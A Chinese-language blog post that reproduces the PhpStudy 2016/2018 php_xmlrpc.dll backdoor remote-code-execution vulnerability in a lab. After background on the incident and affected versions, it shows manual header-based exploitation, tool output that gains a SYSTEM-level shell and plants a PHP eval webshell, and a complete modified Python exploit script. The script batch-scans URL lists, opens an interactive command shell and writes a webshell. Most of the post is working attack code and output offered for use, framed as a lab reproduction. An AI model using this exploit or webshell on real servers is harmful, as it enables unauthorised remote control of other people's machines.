yongz
发布于 2023-02-19 / 0 阅读
0

PhpStudy 后门漏洞复现

PhpStudy 后门漏洞复现

  • 最近打靶遇到了这个漏洞,之前不怎么关注,既然看见了就做个记录。

1 漏洞描述

1.1 事件起因

  • PhpStudy 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer 多款软件一次性安装,无需配置即可直接安装使用,在国内有着近百万 PHP 语言学习者、开发者用户。

  • 正是这样一款公益性软件在 2018 年 12 月 4 日,西湖区公安分局网警大队接报案称,某公司发现公司内有 20 余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。

  • 通过专业技术溯源进行分析,查明了数据回传的信息种类、原理方法、存储位置,并聘请了第三方鉴定机构对软件中的“后门”进行司法鉴定,鉴定结果是该“后门”文件具有控制计算机的功能,嫌疑人已通过该后门远程控制下载运行脚本实现收集用户个人信息。

  • 截至 2019 年 1 月被抓获,犯罪团伙共非法控制计算机 67 万余台,非法获取账号密码类、聊天数据类、设备码类等数据 10 万余组,非法牟利 600 余万元。

  • 在 2019 年 9 月 20 日,网上爆出 phpstudy 存在“后门”。

1.2 影响版本

  • phpStudy_2016.11.03

    • php-5.2.17

    • php-5.4.45

  • phpStudy_2018.02.11

    • php-5.2.17

    • php-5.4.45

2 漏洞复现

2.1 环境说明

  • 复现环境:

    • Win 7

    • phpStudy_2018.02.11(php-5.4.45 + Apache)

2.2 检查文件

  • 漏洞原因是因为在 php_xmlrpc.dll 文件包含了恶意代码,检查下是否引用了该文件。

2.2.1 探针查看

  • 通过 PhpStudy 自带的 l.php 文件查看:

  • 发现引用了 XMLRPC 扩展。

2.2.2 查看具体文件

  • 查看 php_xmlrpc.dll 具体文件内容:

  • 发现确实存在有恶意代码。

2.3 手工漏洞利用

  • 使用 BurpSuite 抓包进行 POC 构造:

  • 构造说明如下:

    • Accept-Encoding 要把 gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功;

    • Accept-Charset 的值就是执行的命令, 需要进行 base 64 编码。

  • 手工利用比较麻烦,还是工具吧。

2.4 工具漏洞利用

## python3 phpStudyBackDoor.py -u http://192.168.1.138

                ********************************
                *     phpStudy BackDoor RCE    *
                *       Coded by Writeup       *
                ********************************

Target is vulnerable!!!

## python3 phpStudyBackDoor.py -u http://192.168.1.138 --cmdshell

                ********************************
                *     phpStudy BackDoor RCE    *
                *       Coded by Writeup       *
                ********************************

Target is vulnerable!!! Entering cmdshell...
cmd>>> whoami
nt authority\system

##  python3 phpStudyBackDoor.py -u http://192.168.1.138 --getshell

                ********************************
                *     phpStudy BackDoor RCE    *
                *       Coded by Writeup       *
                ********************************

Using current web path:WWW

http://192.168.1.138/phpStudyBackDoor.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /phpStudyBackDoor.php was not found on this server.</p>
</body></html>

Getshell failed.
Maybe the file directory does not have permissions.
You can try to change the file directory.

## 此处说明找不到 phpStudyBackDoor.php 文件,进入 cmd 界面
## python3 phpStudyBackDoor.py -u http://192.168.1.138 --cmdshell

                ********************************
                *     phpStudy BackDoor RCE    *
                *       Coded by Writeup       *
                ********************************

Target is vulnerable!!! Entering cmdshell...

cmd>>> where phpStudyBackDoor.php
C:\phpStudy\phpStudyBackDoor.php

cmd>>> chdir
C:\phpStudy

cmd>>> type phpStudyBackDoor.php
<?php @eval($_GET[cmd]); ?>

cmd>>> copy phpStudyBackDoor.php C:\phpStudy\PHPTutorial\WWW
已复制         1 个文件。

cmd>>> dir C:\phpStudy\PHPTutorial\WWW
 驱动器 C 中的卷没有标签。
 卷的序列号是 684B-9F14

 C:\phpStudy\PHPTutorial\WWW 的目录

2023/02/20  12:00    <DIR>          .
2023/02/20  12:00    <DIR>          ..
2017/04/20  16:49            21,175 l.php
2013/05/09  20:56                23 phpinfo.php
2023/02/19  22:19    <DIR>          phpMyAdmin
2023/02/19  23:30               918 phpStudyBackDoor.php
               3 个文件         22,116 字节
               3 个目录 28,107,673,600 可用字节
  • 但这时连接 WebShell 会显示连接失败,因为 WebShell 代码为:

<?php @eval($_GET[cmd]); ?>
  • 所有已知的一句话木马连接工具都不支持 $_GET[] 形式进行传输,需要改成 $_POST[]

http://192.168.1.138/phpStudyBackDoor.php?cmd=eval($_POST[v]);
  • 上马成功!

3 EXP 脚本

  • 由于工具在上传文件容易出现 404 错误,简单修改了下 EXP 脚本(Windows 适用):

## coding:utf-8
## Author:yongz
## Description:phpstudy 2016/2018 xmlrpc.dll backdoor rce
## Date:2023-2-19



import requests
import queue
import base64
import optparse
import threading
import datetime

headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Accept-Encoding': 'gzip,deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
    }


lock = threading.Lock()

q0 = queue.Queue()
threadList = []
global succ
succ = 0

def checkPhpstudyBackdoor(tgtUrl,timeout):

    headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw=='
    # ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw==  ->  exit('Wri7eTh3W0rld'); 无意义字符串判断是否执行成功。

    rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
    # verify=False 移除 SSL 认证
    
    rsp.encoding='utf-8'

    if "Wri7eTh3W0rld" in rsp.text:
        return True
    else:
        return False


def checkPhpstudyBackdoorBatch(timeout, doorSuccess):

    headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw=='
    global countLines
    while (not q0.empty()):

        tgtUrl = q0.get()
        qcount = q0.qsize()
        print ('Checking: ' + tgtUrl + ' ---[' + str(countLines - qcount) + '/' + str(countLines) + ']')

        try:
            rst = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
        except requests.exceptions.Timeout:
            continue
        except requests.exceptions.ConnectionError:
            continue
        except:
            continue

        if rst.status_code == 200 and ("Wri7eTh3W0rld" in rst.text):
            print ('Target is vulnerable!!!---' + tgtUrl + '\n')
            lock.acquire()
            doorSuccess.write('Target is vulnerable!!!---' + tgtUrl + '\n')
            lock.release()
            global succ
            succ = succ + 1

        else:
            continue



def getCmdShellPhpstudyBackdoor(tgtUrl,timeout):

    while True:
        command = input("cmd>>> ")
        if command == 'exit':
            break

        command = "system(\"" + command + "\");"
        command.encode('utf-8')
        command = base64.b64encode(command.encode('utf-8'))
        headers['Accept-Charset'] = command
        cmdResult = requests.get(tgtUrl, headers=headers, verify=False,timeout=7)
        
        cmdResult.encoding='gbk'
        #因为 phpStudy 只有 Windows 版存在漏洞,Windows 系统使用的是 GBK 编码。

        if cmdResult.text.split('<!')[0] == '':
            print('Command Error!')
        else:
            print (cmdResult.text.split('<!')[0])
        


def phpstudyBackdoorGetshell(tgtUrl,timeout):

    # 将一句话木马写入进 phpinfo.php 文件
    b64exp = "system(' ECHO ^<?php @eval($_REQUEST[cmd]); ?^> >> ./shell.php');"
    b64exp = base64.b64encode(b64exp.encode('utf-8'))
    headers['Accept-Charset'] = b64exp

    rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)

    # 写入成功执行如下命令
    if rsp.status_code == 200:
        # 发送请求访问 shell.php 文件
        backDoorUrl = tgtUrl + '/shell.php'
        rsp1 = requests.get(backDoorUrl,verify=False,timeout=timeout)
        b64poc = "system('dir');"
        b64poc = base64.b64encode(b64poc.encode('utf-8'))
        headers['Accept-Charset'] = b64poc

        rsp2 = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
        rsp2.encoding='gbk'
        # 如果存在 shell.php 文件则说明木马写入成功,之所以这么判断是因为文件上传路径无法确定,原先脚本就是访问不到文件显示 404,这里进行了一些改进
        if "shell.php" in rsp2.text:
            print ('shell.php 创建成功!\n\n请使用 --cmd 查看文件路径并将后门文件迁移至 WWW 目录下\n')
            print ('命令如下:\nchdir        # 查看目录路径\ncopy shell.php xxxx/WWW        # 迁移文件')
        else:
            print ('shell.php 创建失败!')
    else:
        print ('Request Error!')


if __name__ == '__main__':
    print ('''
        _          ____  _             _         ____             _    ____                     ____   ____ _____ 
  _ __ | |__  _ __/ ___|| |_ _   _  __| |_   _  | __ )  __ _  ___| | _|  _ \  ___   ___  _ __  |  _ \ / ___| ____|
 | '_ \| '_ \| '_ \___ \| __| | | |/ _` | | | | |  _ \ / _` |/ __| |/ / | | |/ _ \ / _ \| '__| | |_) | |   |  _|  
 | |_) | | | | |_) |__) | |_| |_| | (_| | |_| | | |_) | (_| | (__|   <| |_| | (_) | (_) | |    |  _ <| |___| |___ 
 | .__/|_| |_| .__/____/ \__|\__,_|\__,_|\__, | |____/ \__,_|\___|_|\_\____/ \___/ \___/|_|    |_| \_\\____|_____|
 |_|         |_|                         |___/       by yongz                                                             
        ''')
    #创建一个OPtionParser 对象
    parser = optparse.OptionParser('python %prog ' + '-h (manual)', version='%prog v1.0')

    #添加命令行参数
    parser.add_option('-u', dest='tgtUrl', type='string', help='single url')
    parser.add_option('-f', dest='tgtUrlsPath', type='string', help='urls filepath[exploit default]')
    parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
    parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')

    parser.add_option('--get', dest='getshell',action='store_true', help='get webshell')
    parser.add_option('--cmd', dest='cmdshell',action='store_true', help='cmd shell mode')


    #解析传入的命令行参数
    (options, args) = parser.parse_args()

    # check = options.check
    timeout = options.timeout
    tgtUrl = options.tgtUrl
    getshell = options.getshell
    cmdshell = options.cmdshell

    
    # python phpStudyBackDoor.py -u "http://192.168.80.128"
    if tgtUrl and (cmdshell is None) and (getshell is None):
        if(checkPhpstudyBackdoor(tgtUrl,timeout)):
            print ('Target is vulnerable!!!' + '\n')
        else:
            print ('Target is not vulnerable.' + '\n')
    
    # python phpStudyBackDoor.py -u "http://192.168.80.128" --cmd
    if tgtUrl and cmdshell and (getshell is None):
        if (checkPhpstudyBackdoor(tgtUrl,timeout)):
            print ('Target is vulnerable!!! Entering cmdshell...' + '\n')
            getCmdShellPhpstudyBackdoor(tgtUrl,timeout)
        else:
            print ('Target is not vulnerable.' + '\n')
            pass
            
    # python phpStudyBackDoor.py -u "http://192.168.80.128" --get
    if tgtUrl and (cmdshell is None) and getshell:
        phpstudyBackdoorGetshell(tgtUrl,timeout)

    # python phpStudyBackDoor.py -u "http://192.168.80.128" -f url.txt
    if options.tgtUrlsPath:
        tgtFilePath = options.tgtUrlsPath
        threads = options.threads
        # 获取当前时间
        nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')

        doorSuccess = open(str(nowtime) + '_' + 'success.txt', 'w')
        urlsFile = open(tgtFilePath)
        global countLines
        countLines = len(open(tgtFilePath, 'r').readlines())

        print ('===Total ' + str(countLines) + ' urls===')

        for urls in urlsFile:
            fullUrls = urls.strip()
            q0.put(fullUrls)
        for thread in range(threads):
            t = threading.Thread(target=checkPhpstudyBackdoorBatch, args=(timeout, doorSuccess))
            t.start()
            threadList.append(t)
        for th in threadList:
            th.join()

        print ('===Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']===')
        print ('Results were saved in current path: ' + str(nowtime) + '_success.txt')
        doorSuccess.close()